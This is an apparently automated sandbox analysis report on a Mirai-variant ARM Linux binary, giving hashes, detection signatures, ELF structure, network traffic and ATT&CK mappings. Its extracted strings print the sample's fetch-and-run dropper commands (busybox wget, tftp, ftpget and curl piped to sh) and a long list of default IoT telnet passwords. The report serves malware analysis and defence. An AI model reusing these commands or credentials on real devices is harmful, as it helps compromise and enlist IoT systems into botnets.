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Linux Analysis Report
arm.elf

Overview

General Information

Sample name:arm.elf
Analysis ID:1591578
MD5:5c4a1fc5ea4ccc98b87f241aed9b2cd7
SHA1:4c22257aa074ed70ab303f96d30fb29c870cece6
SHA256:6e9b0e8423f09c4d85e1e358a6a6f66f78f8e20f354a36de4c5e9904459e9ae0
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1591578
Start date and time:2025-01-15 05:22:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 44s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0
Command:/tmp/arm.elf
PID:6241
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • arm.elf (PID: 6241, Parent: 6165, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arm.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6241.1.00007fb9b4017000.00007fb9b4030000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: arm.elfReversingLabs: Detection: 31%
      Source: arm.elfString: /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: /tmp/arm.elf (PID: 6241)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: arm.elfString found in binary or memory: http:///curl.sh
      Source: arm.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnprootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd echo '#!/bin/sh' > check_pids.sh
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0
      Source: /tmp/arm.elf (PID: 6241)Queries kernel information via 'uname': Jump to behavior
      Source: arm.elf, 6241.1.00007fff4200d000.00007fff4202e000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
      Source: arm.elf, 6241.1.0000562f90767000.0000562f908b5000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: arm.elf, 6241.1.00007fff4200d000.00007fff4202e000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: arm.elf, 6241.1.0000562f90767000.0000562f908b5000.rw-.sdmpBinary or memory string: /V!/etc/qemu-binfmt/arm
      Source: arm.elf, 6241.1.00007fff4200d000.00007fff4202e000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: arm.elf, type: SAMPLE
      Source: Yara matchFile source: 6241.1.00007fb9b4017000.00007fb9b4030000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: arm.elf, type: SAMPLE
      Source: Yara matchFile source: 6241.1.00007fb9b4017000.00007fb9b4030000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      arm.elf32%ReversingLabsLinux.Trojan.Mirai
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.sharm.elffalse
        high
        http:///curl.sharm.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
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                                                  No context
                                                  No context
                                                  No created / dropped files found
                                                  File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
                                                  Entropy (8bit):6.0631219649700485
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:arm.elf
                                                  File size:103'884 bytes
                                                  MD5:5c4a1fc5ea4ccc98b87f241aed9b2cd7
                                                  SHA1:4c22257aa074ed70ab303f96d30fb29c870cece6
                                                  SHA256:6e9b0e8423f09c4d85e1e358a6a6f66f78f8e20f354a36de4c5e9904459e9ae0
                                                  SHA512:200ac36dc3f8113c2faf5f1945dfae7b361462a4dd97c9e919eca1311a43cefd1e4a054e3ecf338d5d6f3c35e3f2d678e2c2585b25e01dfe3ef709855459f351
                                                  SSDEEP:3072:5kyP8AVDfXM5TMAOzNKuI3r5etN7iLATuRTzkInz7:GyP84DfXM5oBpaI3WUuVI8
                                                  TLSH:0EA31A55B8929A53C6C106BBFE4F42DD372223E8E2DF3303DD249B21368B56B1D6B152
                                                  File Content Preview:.ELF...a..........(.........4...<.......4. ...(.....................(...(................................f..........Q.td..................................-...L."....U..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, little endian
                                                  Version:1 (current)
                                                  Machine:ARM
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:ARM - ABI
                                                  ABI Version:0
                                                  Entry Point Address:0x8190
                                                  Flags:0x202
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:103484
                                                  Section Header Size:40
                                                  Number of Section Headers:10
                                                  Header String Table Index:9
                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x80940x940x180x00x6AX004
                                                  .textPROGBITS0x80b00xb00x157c40x00x6AX0016
                                                  .finiPROGBITS0x1d8740x158740x140x00x6AX004
                                                  .rodataPROGBITS0x1d8880x158880x35a00x00x2A004
                                                  .ctorsPROGBITS0x290000x190000x80x00x3WA004
                                                  .dtorsPROGBITS0x290080x190080x80x00x3WA004
                                                  .dataPROGBITS0x290140x190140x3e80x00x3WA004
                                                  .bssNOBITS0x293fc0x193fc0x62f40x00x3WA004
                                                  .shstrtabSTRTAB0x00x193fc0x3e0x00x0001
                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x80000x80000x18e280x18e286.10300x5R E0x8000.init .text .fini .rodata
                                                  LOAD0x190000x290000x290000x3fc0x66f03.07950x6RW 0x8000.ctors .dtors .data .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Jan 15, 2025 05:23:03.249828100 CET42836443192.168.2.2391.189.91.43
                                                  Jan 15, 2025 05:23:04.017745972 CET4251680192.168.2.23109.202.202.202
                                                  Jan 15, 2025 05:23:18.608149052 CET43928443192.168.2.2391.189.91.42
                                                  Jan 15, 2025 05:23:28.846678019 CET42836443192.168.2.2391.189.91.43
                                                  Jan 15, 2025 05:23:34.989815950 CET4251680192.168.2.23109.202.202.202
                                                  Jan 15, 2025 05:23:59.562381029 CET43928443192.168.2.2391.189.91.42
                                                  Jan 15, 2025 05:24:20.039608002 CET42836443192.168.2.2391.189.91.43

                                                  System Behavior

                                                  Start time (UTC):04:22:59
                                                  Start date (UTC):15/01/2025
                                                  Path:/tmp/arm.elf
                                                  Arguments:/tmp/arm.elf
                                                  File size:4956856 bytes
                                                  MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1